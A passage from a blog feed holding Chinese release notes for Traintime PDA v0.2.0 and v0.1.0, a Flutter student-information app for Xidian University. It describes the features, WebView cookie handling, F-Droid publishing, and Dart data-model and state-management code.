id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003cp\u003e点击这个可以查看\u003ca class=\"link\" href=\"https://superbart.top/p/traintime-pda-v0.1.0-release-note.html\" target=\"_blank\" rel=\"noopener\"\n \u003ev0.1.0 的技术相关\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"webview-cookie-相关\"\u003eWebview Cookie 相关\u003c/h3\u003e\n\u003cp\u003e想在 Flutter 使用 Webview ,你可以使用两个插件:\u003ca class=\"link\" href=\"https://pub.dev/packages/webview_flutter\" target=\"_blank\" rel=\"noopener\"\n \u003ewebview_flutter\u003c/a\u003e 和 \u003ca class=\"link\" href=\"https://pub.dev/packages/flutter_inappwebview\" target=\"_blank\" rel=\"noopener\"\n \u003eflutter_inappwebview\u003c/a\u003e。前者是官方开发,功能基础;后者是第三方开发,功能强大。我为了保证简洁,使用的是前者。\u003c/p\u003e\n\u003cp\u003e关于插件,网上很多资料都是很老的,我参考了这位的文章:\u003ca class=\"link\" href=\"https://juejin.cn/post/7196698315835260984\" target=\"_blank\" rel=\"noopener\"\n \u003e在 Flutter 中使用 webview_flutter 4.0\u003c/a\u003e,其中最有用的是第三篇,讲怎么用 Cookie 的。我的程序是这样写的:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWebView 页面中,接受要前往的网站和获取 Cookie 的网站。\u003c/li\u003e\n\u003cli\u003e在 initState 状态下,初始化 Webview 的 CookieManager 和 Controller。WebView 的控制器可以控制加载,页面前进和回去。\u003c/li\u003e\n\u003cli\u003e在 didChangedDepencies 状态下,根据获取 Cookie 的网站,从 Dio 的 CookieJar 中获取 Cookie。然后控制器请求对应网站。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e具体代码在\u003ca class=\"link\" href=\"https://github.com/BenderBlog/traintime_pda/blob/main/lib/page/homepage/toolbox/webview.dart\" target=\"_blank\" rel=\"noopener\"\n \u003e这里\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后,这个玩意貌似在 iOS 平台下有 bug,Cookie 死活加不进去,我已经提 bug 了:-P\u003c/p\u003e\n\u003ch3 id=\"上架-f-droid-平台\"\u003e上架 F-Droid 平台\u003c/h3\u003e\n\u003cp\u003eF-Droid 有两个好:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e开源的东西多,就是好\u003c/li\u003e\n\u003cli\u003e目前我程序在安卓平台唯一可以“自动更新”的方式\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFlutter 程序上架,除了官方的,可以参考这位的\u003ca class=\"link\" href=\"https://friesi23.github.io/flutter/android/fdroid/appstore/2023/06/08/submitting-your-flutter-app-to-fdroid.html\" target=\"_blank\" rel=\"noopener\"\n \u003e上传指南\u003c/a\u003e。我想补充两点————可重复构建,分开架构构建:\u003c/p\u003e\n\u003cp\u003eF-Droid 的可重复构建,对我而言,最主要的就是使分发都带上我的签名。这就需要保证构建元数据需要你签名的 sha256 摘要,和一个可供对照的构建(在我这里就是我在 Github Action 上面的构建)。\u003c/p\u003e\n\u003cp\u003e分开架构构建,就是按照手机架构(arm64,arm32,x86)来构建分发包。这个东西,貌似每个架构的版本构建号还不一样。当时写构建元数据的时候,写到弃疗。他们 F-Droid 的审核人好好,帮我写了T_T\u003c/p\u003e\n\u003cp\u003e我的上架过程可以看看\u003ca class=\"link\" href=\"https://gitlab.com/fdroid/fdroiddata/-/merge_requests/13537\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e,合并请求后四天,真正上架。你们可以从这里\u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/packages/io.github.benderblog.traintime_pda/\" target=\"_blank\" rel=\"noopener\"\n \u003e点进链接下载\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e另外说为啥来这里上架,我这软件确实是自由软件。还有,国内上架需要这个那个的,感觉好麻烦,而且已经有电表了,再上架一个感觉也吸引不了多少。\u003c/p\u003e\n\u003ch3 id=\"双创需求大厅相关\"\u003e双创需求大厅相关\u003c/h3\u003e\n\u003cp\u003e这个东西,主要是使用了 Dart 3 的最新语言功能:Records。详情\u003ca class=\"link\" href=\"https://juejin.cn/post/7233067863500849209\" target=\"_blank\" rel=\"noopener\"\n \u003e看这个文章\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e我没记错,go 好像能一次性返回两个值。一开始我感觉很神奇,然后相似的东西就降临到 Flutter 了。说回来,如果没有这个东西,我会考虑 Pair / List,大不了写个 class 。\u003c/p\u003e\n\u003cp\u003e双创需求大厅本质上跟找工作网站差不多,都得有个 Popup 来选择职位状况。这个东西的服务器筛选工作,是需要两个东西:一个 String 传大致分类,一个字符串数组传输 tags。我选择这俩东西的部件是写在外面的,需要返回数据的话,我直接写 \u003ccode\u003e(String, List\u0026lt;String\u0026gt;)\u003c/code\u003e 就可以了。读取的这些数据的话,可以通过 \u003ccode\u003e$1\u003c/code\u003e 或 \u003ccode\u003e$2\u003c/code\u003e 来读取。\u003c/p\u003e\n\u003cp\u003e不过这玩意现在只有五个数据,以后会不会变多呢?也许我能通过这个,说一波我程序和xxx合作?\u003c/p\u003e\n\u003ch3 id=\"课程表代码变化\"\u003e课程表代码变化\u003c/h3\u003e\n\u003cp\u003e为了将来看得方便,我使用了 InheritedWidget 部件来存储课程表数据。课程表数据相关,请看我之前写的东西。Flutter 有组件树和渲染树,我理解不多,但我知道 InheritedWidget 组件相当于存有数据的树根,在其底下的孩子都可以读取这里的数据。这样就能跨部件共享数据了。实际上这个东西我们早就用过了,当时那篇介绍文章使用的是 \u003ccode\u003eMediaQuery.of(context).size\u003c/code\u003e 来举例。\u003c/p\u003e\n\u003cp\u003e关于周次选择轴/滚动锁和页面控制器,貌似 InhheritedWidget 不喜欢变化很大的数据,还是在组件里初始化啥的,我只好写在了别的类。为了保证子部件好监听,我使用了 ChangeNotifier 让他们监听。不过貌似只用在了解锁最顶部的锁:-p\u003c/p\u003e\n\u003cp\u003e还有个问题,就是最顶部的初始滚动。目前刚打开的情况下,如果周次很靠后,可能会出现弹的情况。这个要解决,我得保证屏幕变化的时候,我能保证屏幕宽度的数据能让监听器有所察觉。这块……反正我是有点迷糊,不过感觉无伤大碍(希望)。\u003c/p\u003e\n\u003ch2 id=\"结语\"\u003e结语\u003c/h2\u003e\n\u003cp\u003e这就是 v0.2.0 的发行简记,感谢阅读。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v0.2.0-release-note.html"},{"title":"Traintime PDA v0.1.0 发行简记","time":"2023-07-29T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.1.0 发行简记\" /\u003e\u003cp\u003e终于,经过一年多的断断续续的编写,Traintime PDA v0.1.0 发布了。虽然功能还算较少,但可以算是稳定版了。\nTraintime PDA 是西电同志们的又一个个人信息查看应用,很明显,是电表的模仿产品。\u003c/p\u003e\n\u003cp\u003ev0.1.0 可以算是这个软件第一个稳定版本,我自然需要花上一小段篇幅来跟大家介绍这个软件。\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003ch2 id=\"功能介绍\"\u003e功能介绍\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e根据Timetable重写的 Flutter 课程表,这个课程表我尽力模仿这个插件,解决课程冲突,还能添加一张背景图片,能挂着你喜欢的 idol 之类()\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/classtable.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/classtable.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"课程表页面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e课程表页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e体育查询,打卡记录和体测成绩。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/sport.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/sport.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"体育查询页面\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e体育查询页面\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e成绩查询,包括可以自行选择科目计算均分。计算均分功能看来同学们十分喜欢使用,但我是大摆子(逃)\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/score.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/score.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"成绩计算\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e成绩计算\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e自行选择学期的考试安排查询,自行选择学期功能是疫情的后遗症。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/exam.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/exam.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"考试查询\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e考试查询\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e电量查询和欠费查询,这个功能只是在首页上的卡片。\u003c/li\u003e\n\u003cli\u003e校园卡流水查询和(如果有的话)校园卡余额查询。 \u003cbr\u003e\n(显示余额功能我考虑到手机支付十分广泛,首页就不显示了)\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/school.card.record.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/school.card.record.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"流水查询\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e流水查询\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e图书馆信息查询,个人借书状况和学校书库状况。 \u003cbr\u003e\n(扫码借书,扫码转借功能担心风险,尚未支持)\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/library.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/library.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"图书馆信息\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e图书馆信息\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003e西电目录,曾经在疫情封校期间运行的学校综合楼目录 + 食堂目录。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/xddir.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/xddir.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"西电目录\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e西电目录\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003cli\u003eXDU Planet:查看同学的博客,富含先辈的恩情(学习资料),另该功能代行转发学校教务处通知。\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/xdyou/xduplanet.jpg\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/xduplanet.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"XDU Planet\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eXDU Planet\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于相比电表的优势\"\u003e关于相比电表的优势\u003c/h2\u003e\n\u003cp\u003e我的程序打不过电表,这是肯定的。但我可以说出几点我的软件优势。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e我的程序使用 Flutter 开发,天生能适应 iOS 和 Android 两个移动端,使用范围肯定更广。我已经为 iOS 和 Android 都编译了目标端,在双端的运行效率都很流畅。\u003c/li\u003e\n\u003cli\u003e我的程序代码完全开源,而且结构清晰明了。我给我的程序编写了\u003ca class=\"link\" href=\"https://legacy.superbart.top/writing/XDYou%20SAD.html\" target=\"_blank\" rel=\"noopener\"\n \u003e架构图介绍\u003c/a\u003e。这么做,可以保证别人可以阅读我的代码,然后修改代码,诞生他们学校的学生信息查看应用。而且我确信,这个是最能在开发者方面,保障用户隐私的最好方式。\u003c/li\u003e\n\u003cli\u003e我的程序一定程度上适配了横屏,平板使用体验应该更好。看看上面图书馆的图片就能看出来了。\u003c/li\u003e\n\u003cli\u003e我的程序很不正经。首先,开发者很不正经,而且保守的不得了;其次,程序里充满了彩蛋,甚至,我的字很好看(不是)。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于接下来的任务\"\u003e关于接下来的任务\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e空闲教室查看功能,这个我感觉使用量应该不高(也许是因为我是个大摆子)\u003c/li\u003e\n\u003cli\u003e物理实验查询,我目前不做实验了,所以可能得找人帮忙了()\u003c/li\u003e\n\u003cli\u003e校园网流量查询,目前学校校园网免费,啥时候要收费我赶紧写一个\u003c/li\u003e\n\u003cli\u003e很多的 WebView 功能,比如报修啥的,我需要进一步研究\u003c/li\u003e\n\u003cli\u003eiOS 和 Android 小部件,我需要进一步研究,而且感觉影响不大\u003c/li\u003e\n\u003cli\u003e扫码借书,扫码转借。这个我担心会对学校库存有所影响,而且难以测试,所以暂时不写\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003cp\u003e这些东西是进一步介绍我程序里面的技术,很多在我看来不是最优解,欢迎大家指正。\u003c/p\u003e\n\u003cp\u003e我之前写了两篇:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e关于我们学校的系统后端,只有一站式服务中心\u003c/li\u003e\n\u003cli\u003e关于我程序的架构\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e可能以后版本的发行简记不会这么详细了吧。\u003c/p\u003e\n\u003ch3 id=\"课程表\"\u003e课程表\u003c/h3\u003e\n\u003cp\u003e这里我尽量用 MVVC 模式介绍。\u003c/p\u003e\n\u003cp\u003e课程表写在了一个 StatefulWidget 里,方便维持一整个页面的状态,这个就是 View 。课程表的业务代码已经全部剥离到 classtable_controller.dart 里面,这个就是 Controller。\u003c/p\u003e\n\u003cp\u003e关于如何将 Controller 里数据传输到部件方面,也就是 ViewModel 方面,我使用的 GetX 框架,用了他两个状态管理方式,我再啰嗦一句吧:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e.obs + Obx()\u003c/code\u003e将数据和状态绑定,部件观察数据更新而进行更新,这个是单向的状态传递;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eController.update() + 控制器注入或绑定到部件\u003c/code\u003e,这个方式可以让部件发起控制器更新,是双向的。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e课程表使用的是后一种,使用 \u003ccode\u003eGet.put()\u003c/code\u003e 方式,将控制器注入到课程表部件里面。\u003c/p\u003e\n\u003cp\u003e最后,是关于 Model 方面,这个是 Repo 里的东西,这里省去。\u003c/p\u003e\n\u003ch4 id=\"数据模型介绍\"\u003e数据模型介绍\u003c/h4\u003e\n\u003cp\u003e这里我先介绍数据模型,也就是我将学校数据处理后的结果。文件在 lib/model/xidian_ids/classtable.dart 。\u003c/p\u003e\n\u003cp\u003e提前说明,有关于 json 序列化模板代码可以忽略。\u003c/p\u003e\n\u003ch5 id=\"课程信息\"\u003e课程信息\u003c/h5\u003e\n\u003cp\u003e包括课程名称及序号,教师名称,和班级序号。这里有很多可选选项,只能说学校就这么搞的()\n涉及到渲染时候判断课程信息相同,我重载了 hashCode 和 == 运算符。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eteacher\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 老师\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 班级序号\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003ehashCode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ehashCode\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"kd\"\u003eoperator\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eObject\u003c/span\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e \u003cspan class=\"k\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eruntimeType\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eruntimeType\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eother\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"时间安排\"\u003e时间安排\u003c/h5\u003e\n\u003cp\u003e包括以下部分:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程索引,也就是上面课程信息在课程信息数组中的位置。下面我将介绍课程信息数组。\u003c/li\u003e\n\u003cli\u003e上课周次,这里我继承了学校处理这个信息的方式。学校返回的是 0 和 1 组成的数组,0 代表这周没课程,1 代表这周有课。\u003c/li\u003e\n\u003cli\u003e星期几上课,第几节上课,第几节下课。请注意这里是将一天分成十节课来处理的,课程时间参见文件。\u003c/li\u003e\n\u003cli\u003e一个可选的教室信息。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e另外有一个引申变量:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e上课长度就是下课减去上课。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonSerializable\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eexplicitToJson:\u003c/span\u003e \u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eTimeArrangement\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 课程索引\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 返回的是 0 和 1 组成的数组,0 代表这周没课程,1 代表这周有课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;week_list\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课周次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 星期几上课\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课开始\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课结束\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eincludeIfNull:\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课教室\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003estep\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estop\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 上课长度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// 略去初始化代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 